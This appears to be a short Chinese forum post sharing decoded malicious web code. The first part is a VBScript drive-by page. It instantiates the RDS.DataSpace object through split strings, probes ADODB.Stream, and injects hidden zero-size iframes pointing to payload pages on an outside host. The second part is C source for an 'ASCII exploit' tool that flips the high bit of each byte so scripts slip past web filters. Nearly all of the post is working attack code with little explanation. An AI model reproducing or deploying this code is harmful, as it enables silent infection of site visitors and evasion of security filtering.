没人回
我qq群里高手解的:
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=utf-8">
<META content="MSHTML 6.00.2900.3020" name=GENERATOR></HEAD>
<BODY>
<SCRIPT language=VBScript>
on error resume next
set zero = document.createElement("ob" & "ject")
zero.setAttribute "cl" & "assid", "cl" & "sid:BD" & "96C556-65A3-11D0-983A-00C04" & "FC29E36"
str3 = "Ad" & "odb.St" & "ream"
set F = zero.createobject(str3,"")
if Not Err.Number = 0 then
err.clear
document.write ("<iframe src=http://sb.zhuanrisb.com/images/2.htm width=0 height=0></iframe>")
else
document.write ("<iframe src=http://sb.zhuanrisb.com/images/1.htm width=0 height=0></iframe>")
end if
</SCRIPT>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~``
#include <stdio.h>
int main(int argc,char** argv)
{
FILE *fp;
char ch;
printf("\n-- Bypassing of web filters by using ASCII Exploit By CoolDiyer --\n");
if(argc<2){
printf("\nUsage: \n\t %s srcfile >destfile\n",argv[0]);
return -1;
}
if((fp=fopen(argv[1],"r"))==NULL){
printf("File %s open Error",argv[1]);
return -1;
}//指定编码为US-ASCII是必须的
printf("\n<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=US-ASCII\" />\n<title>Bypassing of web filters by using ASCII Exploit By CoolDiyer</title>\n</head><body>\n");
while((ch=fgetc(fp))!=EOF){
ch|=0x80; //把7位变成8位,这句话是核心,呵呵
printf("%c",ch);
};
fclose(fp);
printf("\n</body></html>\n");
return -1;
}